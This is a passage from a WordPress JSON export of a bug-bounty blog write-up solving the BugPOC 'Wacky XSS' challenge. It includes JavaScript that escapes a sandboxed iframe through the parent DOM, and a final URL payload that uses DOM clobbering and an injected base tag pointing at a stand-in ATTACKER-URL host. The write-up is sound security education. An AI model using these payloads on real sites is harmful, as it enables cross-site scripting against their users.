class=\"wp-block-paragraph\"><strong>Allow-scripts<\/strong>: Allows you to execute Javascript inside of the&nbsp;<strong>iframe<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But why not &#8220;alert&#8221; ? Ain&#8217;t a Javascript ?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Good question. However, when we are inside an &#8221;&nbsp;<strong>iframe&#8221;<\/strong>&nbsp;sandbox, every aspect and part of the code you want to execute inside&nbsp;should explicitly be specified. So, in this case, if you want to allow a popup inside the &#8221;&nbsp;<strong>iframe<\/strong>&#8221; you have to add &#8221;&nbsp;<strong>Allow-modals<\/strong>&#8221; among the other flags. However, since there is no such flag, it means there is no popups. More details about sandboxing flags in this&nbsp;&nbsp;<a href=\"https:\/\/www.html5rocks.com\/en\/tutorials\/security\/sandboxed-iframes\/#:~:text=allow%2Dscripts%20allows%20JavaScript%20execution,navigating%20the%20top%2Dlevel%20window.\">link<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Allow-same-origin<\/strong>:&nbsp;allows the document to maintain its origin; pages loaded from https:\/\/example.com\/ will retain access to that origin\u2019s data.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The other news, is that the &#8221;&nbsp;<strong>iframe<\/strong>&#8221; has access to the parent DOM, because of &#8221;&nbsp;<strong>Allow-same-origin&#8221;,&nbsp;<\/strong>below an importntnote from&nbsp;&nbsp;<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTML\/Element\/iframe\">Mozilla<\/a>:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-J1oGmjsDBoU\/X6m1zZYaCZI\/AAAAAAAAAsU\/bjgluYnVcAk9ATJVLRGA4BaKRJom0c7pgCLcBGAsYHQ\/w640-h259\/tempsnip25.png\" alt=\"\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">That&#8217;s the same situation that we have now, both &#8221;&nbsp;<strong>Allow-scripts<\/strong>&#8221; and &#8221;&nbsp;<strong>Allow-same-origin<\/strong>&#8221; are present. By that, we have a total control over the parent HTML DOM. This allows us to add or remove any DOM we want. The idea then, is to create an element in the parent window and append that element to the parent body. The code inserted will be executed inside the parent window and not inside the &#8221;&nbsp;<strong>iframe<\/strong>&#8221; which means, we will bypass the &#8221;&nbsp;<strong>iframe<\/strong>&#8221; sandbox \ud83d\udcaa<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s go back to the &#8221;&nbsp;<strong>frame-analytics.js<\/strong>&#8221; located in my server, and put that code:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>script = parent.document.createElement('script');\nscript.setAttribute('src', 'files\/analytics\/js\/alert.js');\nparent.document.body.appendChild(script);<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">script <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> parent.document.<\/span><span style=\"color: #A6E22E\">createElement<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&#39;script&#39;<\/span><span style=\"color: #F8F8F2\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">script.<\/span><span style=\"color: #A6E22E\">setAttribute<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&#39;src&#39;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #E6DB74\">&#39;files\/analytics\/js\/alert.js&#39;<\/span><span style=\"color: #F8F8F2\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">parent.document.body.<\/span><span style=\"color: #A6E22E\">appendChild<\/span><span style=\"color: #F8F8F2\">(script);<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">A new file will be created called &#8221;&nbsp;<strong>alert.js<\/strong>&#8220;, and it does contain one line of code:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>alert(origin);<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">alert<\/span><span style=\"color: #F8F8F2\">(origin);<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">So now, by calling the &#8221;&nbsp;<strong>frame-analytics.js<\/strong>&#8221; it will access to parent window and create a new script element which contains an alert.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The final payload is the same as the previous one:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>window.location = 'https:\/\/wacky.buggywebsite.com\/frame.html?param=&lt;\/title>&lt;a id=fileIntegrity>&lt;a id=fileIntegrity name=value>&lt;base href=\"https:\/\/ATTACKER-URL\/\" \/>';\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">window.location <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;https:\/\/wacky.buggywebsite.com\/frame.html?param=&lt;\/title&gt;&lt;a id=fileIntegrity&gt;&lt;a id=fileIntegrity name=value&gt;&lt;base href=&quot;https:\/\/ATTACKER-URL\/&quot; \/&gt;&#39;<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">And the final result is:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"333\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-62-1024x333.png\" alt=\"\" class=\"wp-image-133\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-62-1024x333.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-62-300x98.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-62-768x250.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-62.png 1203w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ BugPOC &#8211; making POC:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">There are multiple ways on how to make a bugPOC POC. Regarding my case, since I was using a personal domain space. It will be easy for me to just call the &#8221;&nbsp;<strong>frame.html<\/strong>&#8221; using &#8221;&nbsp;<strong>Front-End PoC Generator<\/strong>&#8220;. Here is an example:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"438\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-63-1024x438.png\" alt=\"\" class=\"wp-image-134\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-63-1024x438.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-63-300x128.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-63-768x329.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-63.png 1526w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">BugPOC is great tool for bug bounty hunters, it helps a lot and it&#8217;s super easy. Sometimes, you have just to think the right way to create your POC. \ud83d\ude09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, below, is the full BugPOC demo. In this video I&#8217;ll be using just the&nbsp; BugPOC&#8217;s internal feature without hosting any external file or using a personal domain space. This will give you a feeling about the power of BugPOC platform. Enjoy !!<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"BugPOC Challenge #4 - Wacky XSS\" width=\"656\" height=\"369\" src=\"https:\/\/www.youtube.com\/embed\/_EvDSK-7Hbs?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><figcaption class=\"wp-element-caption\">BugPOC Video<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ Conclusion:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This was so intense, I feel better, there&#8217;s such special self-satisfaction doing this XSS challenge, because it&#8217;s feel right. I improved my skills as well. We&#8217;ve seen here so many great hacking tricks, one day you need one these in your hunt journey. Stay positive. Keep it up guys, and happy hacking &#8230; \ud83d\udcaa<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Don&#8217;t hesitate to contact me if you have any&nbsp; question or comment. Hit me up&nbsp; on my&nbsp;<a href=\"http:\/\/twitter.\/\">Twitter.<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ References:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">During my attempts to find a solution to this challenge, I found some useful websites that gave me ideas about the techniques being used in this write-up<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/medium.com\/@shilpybanerjee\/dom-clobbering-its-clobbering-time-f8dd5c8fbc4b\">https:\/\/medium.com\/@shilpybanerjee\/dom-clobbering-its-clobbering-time-f8dd5c8fbc4b<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/portswigger.net\/web-security\/dom-based\/dom-clobbering\">https:\/\/portswigger.net\/web-security\/dom-based\/dom-clobbering<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/portswigger.net\/research\/dom-clobbering-strikes-back\">https:\/\/portswigger.net\/research\/dom-clobbering-strikes-back<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.html5rocks.com\/en\/tutorials\/security\/sandboxed-iframes\/#:~:text=allow%2Dscripts%20allows%20JavaScript%20execution,navigating%20the%20top%2Dlevel%20window.\">https:\/\/www.html5rocks.com\/en\/tutorials\/security\/sandboxed-iframes\/#:~:text=allow%2Dscripts%20allows%20JavaScript%20execution,navigating%20the%20top%2Dlevel%20window.<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTML\/Element\/iframe\">https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTML\/Element\/iframe<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/Security\/Subresource_Integrity\">https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/Security\/Subresource_Integrity<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>$ Introduction: Here we are again !! BugPOC team doesn&#8217;t stop impressing us by their commitment. Last time, we dealt with a local file inclusion (LFI). This time, a new XSS challenge made with love. This one is close enough to the real world of bug bounty, and it&#8217;s worth [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":144,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,5],"tags":[],"class_list":["post-100","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bug-bounty","category-security-research"],"_links":{"self":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/100","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=100"}],"version-history":[{"count":6,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/100\/revisions"}],"predecessor-version":[{"id":337,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/100\/revisions\/337"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/media\/144"}],"wp:attachment":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=100"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}